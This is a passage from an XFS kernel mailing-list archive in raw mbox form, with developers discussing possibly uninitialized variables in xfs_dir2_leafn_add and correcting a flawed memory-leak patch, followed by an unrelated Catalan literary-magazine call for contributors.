    L480:
    > if (compact)
    > xfs_dir3_leaf_compact_x1(&leafhdr, ents, &index, &lowstale= ,
    > &highstale, &lfloglow, &lfloghigh);

    So, if it is not compact, both have garbage.

    Best Regards.

    Geyslan Greg=C3=B3rio Bem

    --001a1133beb672e94a04e7613ee4-- From geyslan@gmail.com Fri Sep 27 13:01:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 53DDF7F52 for ; Fri, 27 Sep 2013 13:01:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE905AC005 for ; Fri, 27 Sep 2013 11:01:18 -0700 (PDT) X-ASG-Debug-ID: 1380304877-04cbb02c3c14cc3b0001-NocioJ Received: from mail-qe0-f46.google.com (mail-qe0-f46.google.com [209.85.128.46]) by cuda.sgi.com with ESMTP id Hk312XUMC0LVZD94 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 11:01:17 -0700 (PDT) X-Barracuda-Envelope-From: geyslan@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.46] Received: by mail-qe0-f46.google.com with SMTP id x7so2079659qeu.33 for ; Fri, 27 Sep 2013 11:01:17 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=VrqDsrmrMr1FRz5/nd0gotp4PDDJ7a4NwZGeNWi4Hv8=; b=qCIk1IXnrWTAXNRsZ7YTulgDdHMlRpxZ0qVCOMoQEi9g4Ql7U4JMixEGB9lxu5zdSs 78DMEyZuI0VPjrfWSxKsmhNeeABC8eynC0cW+Thf+DSsmYye84N53WBBRbq+B+g25V9f MAxFJxJOX0wpulcOFJ2Ud4XtpQSCHW7hn8RO1BJYx04fBhfh89xUXIbOOm3jVG5gHnyG tfV4A7Gaq3HN9/k9rJ19yOj6Xb1Un8dV4T3OdqnnPwVLt1Am+mSFZXDFS6AVGMPbHuC/ gaPLf+CJWStHlGX0igd63DVFPJ6duDN9JobdxLYFXFvNXOvE9BnR7H/ZsYicZFd1+Kt5 IFJg== MIME-Version: 1.0 X-Received: by 10.224.157.14 with SMTP id z14mr15788222qaw.90.1380304877032; Fri, 27 Sep 2013 11:01:17 -0700 (PDT) Received: by 10.49.98.36 with HTTP; Fri, 27 Sep 2013 11:01:16 -0700 (PDT) In-Reply-To: References: Date: Fri, 27 Sep 2013 15:01:16 -0300 Message-ID: Subject: Re: [XFS MAINTAINERS] fs/xfs/xfs_dir2_node.c: xfs: xfs_dir2_leafn_add: Variables Uninitialized From: =?UTF-8?Q?Geyslan_Greg=C3=B3rio_Bem?= X-ASG-Orig-Subj: Re: [XFS MAINTAINERS] fs/xfs/xfs_dir2_node.c: xfs: xfs_dir2_leafn_add: Variables Uninitialized To: Ben Myers , Alex Elder , xfs@oss.sgi.com, linux-kernel@vger.kernel.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qe0-f46.google.com[209.85.128.46] X-Barracuda-Start-Time: 1380304877 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Maintainers, I suppose the variables "highstale" and "lowstale" are being used despite not having been initialized. File: fs/xfs/xfs_dir2_node.c Function: xfs_dir2_leafn_add L491: > /* > * Insert the new entry, log everything. > */ > lep =3D xfs_dir3_leaf_find_entry(&leafhdr, ents, index, compact, lowstale= , > highstale, &lfloglow, &lfloghigh); The only place they are started up is within this condition: L480: > if (compact) > xfs_dir3_leaf_compact_x1(&leafhdr, ents, &index, &lowstale, > &highstale, &lfloglow, &lfloghigh); So, if it is not compact, both have garbage. Best Regards. Geyslan Greg=C3=B3rio Bem From bpm@sgi.com Fri Sep 27 13:31:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4BD657F52 for ; Fri, 27 Sep 2013 13:31:54 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id DD1C1304062; Fri, 27 Sep 2013 11:31:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 869934266DC; Fri, 27 Sep 2013 13:31:50 -0500 (CDT) Date: Fri, 27 Sep 2013 13:31:50 -0500 From: Ben Myers To: Geyslan =?iso-8859-1?Q?Greg=F3rio?= Bem Cc: Alex Elder , xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [XFS MAINTAINERS] fs/xfs/xfs_dir2_node.c: xfs: xfs_dir2_leafn_add: Variables Uninitialized Message-ID: <20130927183150.GG10553@sgi.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hi Geyslan, On Fri, Sep 27, 2013 at 02:59:12PM -0300, Geyslan Gregório Bem wrote: > Hi Maintainers, > > I suppose the variables "highstale" and "lowstale" are being used despite > not having been initialized. > > File: fs/xfs/xfs_dir2_node.c > Function: xfs_dir2_leafn_add > > L491: > > /* > > * Insert the new entry, log everything. > > */ > > lep = xfs_dir3_leaf_find_entry(&leafhdr, ents, index, compact, lowstale, > > highstale, &lfloglow, &lfloghigh); > > The only place they are started up is within this condition: > > L480: > > if (compact) > > xfs_dir3_leaf_compact_x1(&leafhdr, ents, &index, &lowstale, > > &highstale, &lfloglow, &lfloghigh); > > So, if it is not compact, both have garbage. Thanks for the report. That sounds pretty bad. Lets see... 421 static int /* error */ 422 xfs_dir2_leafn_add( 423 struct xfs_buf *bp, /* leaf buffer */ 424 xfs_da_args_t *args, /* operation arguments */ 425 int index) /* insertion pt for new entry */ 426 { ... 476 /* 477 * Compact out all but one stale leaf entry. Leaves behind 478 * the entry closest to index. 479 */ 480 if (compact) 481 xfs_dir3_leaf_compact_x1(&leafhdr, ents, &index, &lowstale, 482 &highstale, &lfloglow, &lfloghigh); 483 else if (leafhdr.stale) { 484 /* 485 * Set impossible logging indices for this case. 486 */ 487 lfloglow = leafhdr.count; 488 lfloghigh = -1; 489 } 490 491 /* 492 * Insert the new entry, log everything. 493 */ 494 lep = xfs_dir3_leaf_find_entry(&leafhdr, ents, index, compact, lowstale, 495 highstale, &lfloglow, &lfloghigh); If compact is set at 481 we pass the addresses of highstale and lowstale to xfs_dir3_leaf_compact_x1, which passes them to xfs_dir3_leaf_find_stale, which makes assignments to both variables unconditionally. Later at 494 we pass compact, lowstale, and highstale to xfs_dir3_leaf_find_entry. So we're ok if compact is set... 555 struct xfs_dir2_leaf_entry * 556 xfs_dir3_leaf_find_entry( 557 struct xfs_dir3_icleaf_hdr *leafhdr, 558 struct xfs_dir2_leaf_entry *ents, 559 int index, /* leaf table position */ 560 int compact, /* need to compact leaves */ 561 int lowstale, /* index of prev stale leaf */ 562 int highstale, /* index of next stale leaf */ 563 int *lfloglow, /* low leaf logging index */ 564 int *lfloghigh) /* high leaf logging index */ 565 { ... 587 /* 588 * There are stale entries. 589 * 590 * We will use one of them for the new entry. It's probably not at 591 * the right location, so we'll have to shift some up or down first. 592 * 593 * If we didn't compact before, we need to find the nearest stale 594 * entries before and after our insertion point. 595 */ 596 if (compact == 0) 597 xfs_dir3_leaf_find_stale(leafhdr, ents, index, 598 &lowstale, &highstale); In xfs_dir3_leaf_find_entry, it looks like if compact is not set, we will pass the addresses of lowstale and highstale to xfs_dir3_leaf_find_stale which appears to make assignments to them unconditionally. It looks like xfs_dir3_leaf_find_entry doesn't read from lowstale and highstale until after 598. I think this should take care of the !compact case too. Do you agree? Thanks much, Ben From roger@filmlight.ltd.uk Fri Sep 27 14:36:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F24047F52 for ; Fri, 27 Sep 2013 14:36:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 78B2DAC004 for ; Fri, 27 Sep 2013 12:36:16 -0700 (PDT) X-ASG-Debug-ID: 1380310573-04cb6c153d14dcbe0001-NocioJ Received: from b.mx.filmlight.ltd.uk (b.mx.filmlight.ltd.uk [77.107.81.251]) by cuda.sgi.com with SMTP id ud6mzjvmZyKB9c9V for ; Fri, 27 Sep 2013 12:36:14 -0700 (PDT) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.251 Received: (dqd 5022 invoked from network); 27 Sep 2013 19:36:13 -0000 Received: from montana.filmlight.ltd.uk (HELO ?10.44.0.113?) (roger@10.44.0.113) by b.mx.filmlight.ltd.uk with SMTP; 27 Sep 2013 19:36:13 -0000 Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename From: Roger Willcocks X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename To: Mark Tinguely Cc: xfs@oss.sgi.com In-Reply-To: <20130927130140.640252809@sgi.com> References: <20130927130140.640252809@sgi.com> Content-Type: text/plain Date: Fri, 27 Sep 2013 20:36:13 +0100 Message-Id: <1380310573.22649.1082.camel@montana.filmlight.ltd.uk> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-19.el5) Content-Transfer-Encoding: 7bit X-Barracuda-Connect: b.mx.filmlight.ltd.uk[77.107.81.251] X-Barracuda-Start-Time: 1380310574 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140981 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 2013-09-27 at 08:01 -0500, Mark Tinguely wrote: > plain text document attachment > (xfs-fix-leak-in-xfs_dir2_node_removename.patch) > Free the memory pointed to by state before returning on error from > xfs_dir2_node_removename.c > > Signed-off-by: Mark Tinguely > --- > Found by Coverity (134681) in userspace, same patch applies there > also. > Is the first hunk right ? xfs_da_node_lookup_int called as error = xfs_da_node_lookup_int(state, &rval); and returns with *result = retval; return(0); so, on return, error == 0 and rval == an error code. The next lines: if (error) rval = error; won't change that. But previously if rval != EEXIST you returned rval. With the change below, you return error, which is zero. -- Roger > fs/xfs/xfs_dir2_node.c | 10 +++++----- > 1 file changed, 5 insertions(+), 5 deletions(-) > > Index: b/fs/xfs/xfs_dir2_node.c > =================================================================== > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -2131,10 +2131,9 @@ xfs_dir2_node_removename( > /* > * Didn't find it, upper layer screwed up. > */ > - if (rval != EEXIST) { > - xfs_da_state_free(state); > - return rval; > - } > + if (rval != EEXIST) > + goto done; > + > blk = &state->path.blk[state->path.active - 1]; > ASSERT(blk->magic == XFS_DIR2_LEAFN_MAGIC); > ASSERT(state->extravalid); > @@ -2145,7 +2144,7 @@ xfs_dir2_node_removename( > error = xfs_dir2_leafn_remove(args, blk->bp, blk->index, > &state->extrablk, &rval); > if (error) > - return error; > + goto done; > /* > * Fix the hash values up the btree. > */ > @@ -2160,6 +2159,7 @@ xfs_dir2_node_removename( > */ > if (!error) > error = xfs_dir2_node_to_leaf(state); > +done: > xfs_da_state_free(state); > return error; > } > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- Roger Willcocks From tinguely@sgi.com Fri Sep 27 14:52:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA0F77F52 for ; Fri, 27 Sep 2013 14:52:58 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7627C8F8050; Fri, 27 Sep 2013 12:52:55 -0700 (PDT) Message-ID: <5245E216.8000609@sgi.com> Date: Fri, 27 Sep 2013 14:52:54 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Roger Willcocks CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename References: <20130927130140.640252809@sgi.com> <1380310573.22649.1082.camel@montana.filmlight.ltd.uk> In-Reply-To: <1380310573.22649.1082.camel@montana.filmlight.ltd.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/27/13 14:36, Roger Willcocks wrote: > > On Fri, 2013-09-27 at 08:01 -0500, Mark Tinguely wrote: >> plain text document attachment >> (xfs-fix-leak-in-xfs_dir2_node_removename.patch) >> Free the memory pointed to by state before returning on error from >> xfs_dir2_node_removename.c >> >> Signed-off-by: Mark Tinguely >> --- >> Found by Coverity (134681) in userspace, same patch applies there >> also. >> > > Is the first hunk right ? > > xfs_da_node_lookup_int called as > > error = xfs_da_node_lookup_int(state,&rval); > > and returns with > > *result = retval; > return(0); > > so, on return, error == 0 and rval == an error code. The next lines: > > if (error) > rval = error; > > won't change that. But previously if rval != EEXIST you returned rval. > With the change below, you return error, which is zero. > > -- > Roger Thanks, guilty as charged. need to add the error = EEXIST. --Mark. From sandeen@sandeen.net Fri Sep 27 15:04:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ECE607F52 for ; Fri, 27 Sep 2013 15:04:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C8A7C304053 for ; Fri, 27 Sep 2013 13:04:35 -0700 (PDT) X-ASG-Debug-ID: 1380312274-04bdf02f2215391f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id A2EYaJwmPrvOGlZl for ; Fri, 27 Sep 2013 13:04:34 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A2F66600068E; Fri, 27 Sep 2013 15:04:33 -0500 (CDT) Message-ID: <5245E4D0.6090108@sandeen.net> Date: Fri, 27 Sep 2013 15:04:32 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Roger Willcocks CC: Mark Tinguely , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename References: <20130927130140.640252809@sgi.com> <1380310573.22649.1082.camel@montana.filmlight.ltd.uk> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename In-Reply-To: <1380310573.22649.1082.camel@montana.filmlight.ltd.uk> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380312274 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/27/13 2:36 PM, Roger Willcocks wrote: > > On Fri, 2013-09-27 at 08:01 -0500, Mark Tinguely wrote: >> plain text document attachment >> (xfs-fix-leak-in-xfs_dir2_node_removename.patch) >> Free the memory pointed to by state before returning on error from >> xfs_dir2_node_removename.c >> >> Signed-off-by: Mark Tinguely >> --- >> Found by Coverity (134681) in userspace, same patch applies there >> also. >> > > Is the first hunk right ? > > xfs_da_node_lookup_int called as > > error = xfs_da_node_lookup_int(state, &rval); > > and returns with > > *result = retval; > return(0); > > so, on return, error == 0 and rval == an error code. The next lines: > > if (error) > rval = error; > > won't change that. But previously if rval != EEXIST you returned rval. > With the change below, you return error, which is zero. Oh geez. o_O . . . Thanks Roger. 3rd review's the charm? ;) -Eric From david@fromorbit.com Fri Sep 27 18:39:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1028C7F52 for ; Fri, 27 Sep 2013 18:39:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E9ACE304053 for ; Fri, 27 Sep 2013 16:39:14 -0700 (PDT) X-ASG-Debug-ID: 1380325149-04cb6c2e9f14ee970001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id DHatN4KKhE0Uux6O for ; Fri, 27 Sep 2013 16:39:10 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AowGAMkVRlJ5LCC0/2dsb2JhbABbgweDS7hbhTuBIBd0giUBAQU6HCMQCAMYCSUPBSUDIROIBbobFo87B4QgA5d+kXmDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Sep 2013 09:09:08 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPhco-0001M6-1V; Sat, 28 Sep 2013 09:39:06 +1000 Date: Sat, 28 Sep 2013 09:39:06 +1000 From: Dave Chinner To: Eric Sandeen Cc: Li Zhong , xfsprogs Subject: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option Message-ID: <20130927233905.GZ26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5245C07A.3000700@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1380325149 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140986 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Fri, Sep 27, 2013 at 12:29:30PM -0500, Eric Sandeen wrote: > (mkfs.xfs is so crufty :( ) Yes, it needs to go on a massive factoring program.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From clas.part.cat@gmail.com Sat Sep 28 04:22:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3A8C17F4E for ; Sat, 28 Sep 2013 04:22:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id ECFA38F8049 for ; Sat, 28 Sep 2013 02:21:57 -0700 (PDT) X-ASG-Debug-ID: 1380360110-04bdf02f211563930001-NocioJ Received: from mail-bk0-f65.google.com (mail-bk0-f65.google.com [209.85.214.65]) by cuda.sgi.com with ESMTP id eEJN04kFUFBRGeEq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 28 Sep 2013 02:21:51 -0700 (PDT) X-Barracuda-Envelope-From: clas.part.cat@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.65 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.65] Received: by mail-bk0-f65.google.com with SMTP id r7so302663bkg.0 for ; Sat, 28 Sep 2013 02:21:50 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.65] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.65] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=4S39FkoxPL7FHdK11hzL/ykl+yezmNe+vTw2ZmdFVWc=; b=Fn/5hhS9GZv8DHdG2G+3xa3Cwqb35Po7/zwl4fGVEyqOOp/xL3BiBGWA5ir16hYt/8 t3nWzTPsO+ttv8r1M0JebtFOb7CKR5pwFBk++ONQBF1SrzcmusyvRLUhLC6j++IU+FDT xoSbVVLjHCakMLGtYw89vIPpMwoHSCFvsKwiuthHyCpuhruw8eIPvkBTPjEugOETL5bD rINfhlCuHgI/FyvqM2g72/JrWW6dxC2DOYQq0WkeVLL6LcXa/HeeQw4CaeHjcac6YFg6 odeqBXJc+TC9sCinY28dAioQ+5pMCV4DjUHLmEQIQkbNQhguGA/75ADuQGR0RGh8eENM YQxw== MIME-Version: 1.0 X-Received: by 10.204.60.66 with SMTP id o2mr9926595bkh.22.1380360110158; Sat, 28 Sep 2013 02:21:50 -0700 (PDT) Received: by 10.205.101.199 with HTTP; Sat, 28 Sep 2013 02:21:50 -0700 (PDT) Date: Sat, 28 Sep 2013 11:21:50 +0200 Message-ID: Subject: =?ISO-8859-1?Q?Busquem=3A_Col=B7laboradors_literaris_=B7_Traductors_=B7_?= =?ISO-8859-1?Q?Il=B7lustradors?= From: =?ISO-8859-1?Q?El_Punt_Vol=B7lat?= X-ASG-Orig-Subj: =?ISO-8859-1?Q?Busquem=3A_Col=B7laboradors_literaris_=B7_Traductors_=B7_?= =?ISO-8859-1?Q?Il=B7lustradors?= To: relatsencatala@gmail.com Content-Type: multipart/alternative; boundary=001a11c376fc07669604e76e22c9 X-Barracuda-Connect: mail-bk0-f65.google.com[209.85.214.65] X-Barracuda-Start-Time: 1380360111 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.51 X-Barracuda-Spam-Status: No, SCORE=0.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA074, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain --001a11c376fc07669604e76e22c9 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable =93La Lluna en un Cove=94 =B7 Revista Liter=E0ria Busquem: Col=B7laboradors literaris =B7 Traductors =B7 Il=B7lustradors Paguem en met=E0l=B7lic pels treballs seleccionats i publicats en la revist= a. Informeu-vos-en a: http://relatslallunaenuncove.blogspot.com Des dels seus inicis, l=92any 2009, =93La Lluna en un Cove=94 s=92ha consti= tu=EFt com la revista de refer=E8ncia de Relats en Catal=E0. Selecci=F3 de les millors= obres narratives del moment, qualitat en la presentaci=F3, una especial atenci=F3 pels nous autors, i, alhora, una tasca de traducci=F3 d=92obres cl=E0ssique= s i de divulgaci=F3 de materials literaris in=E8dits d=92especial inter=E8s. =93La= Lluna en un Cove=94 =E9s una revista liter=E0ria en paper; un impossible de periodic= itat mensual. Nova secci=F3: =93Una imatge, un text=94. Es tracta d'una original proposta= de =93La Lluna en un Cove=94 que pret=E9n interrelacionar dues disciplines art=EDstiques: la literatura i les arts pl=E0stiques. Cada mes, des de la w= eb oficial d=92aquesta revista, us proposem una obra gr=E0fica (que pot ser un= a pintura, una fotografia, una il=B7lustraci=F3, una escultura, etc.), i els participants, inspirant-se o basant-se en l=92obra proposada, redacten el s= eu propi text i l=92envien a la nostra redacci=F3 seguint les condicions gener= als de participaci=F3. Totes les obres gr=E0fiques proposades en aquesta secci= =F3, les podreu veure en la web oficial de =93La Lluna en un Cove=94, dins de l=92apartat =93Una imatge, un text=94. --001a11c376fc07669604e76e22c9 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

    =93La Lluna en un Cove=94 =B7 Revista Liter=E0ria

    Busquem: Col=B7laboradors literaris =B7 Traductors =B7 Il=B7lustradors

    Paguem en met=E0l=B7lic pels treballs seleccionats i publicats en la rev= ista.

    Informeu-vos-en a: http://relatslallunaenuncove.blogspot.com

    =A0

    Des dels seus inicis, l=92any 2009, =93La Lluna en un Cove=94 s=92ha con= stitu=EFt com la revista de refer=E8ncia de Relats en Catal=E0. Selecci=F3 = de les millors obres narratives del moment, qualitat en la presentaci=F3, u= na especial atenci=F3 pels nous autors, i, alhora, una tasca de traducci=F3= d=92obres cl=E0ssiques i de divulgaci=F3 de materials literaris in=E8dits = d=92especial inter=E8s. =93La Lluna en un Cove=94 =E9s una revista liter=E0= ria en paper; un impossible de periodicitat mensual.

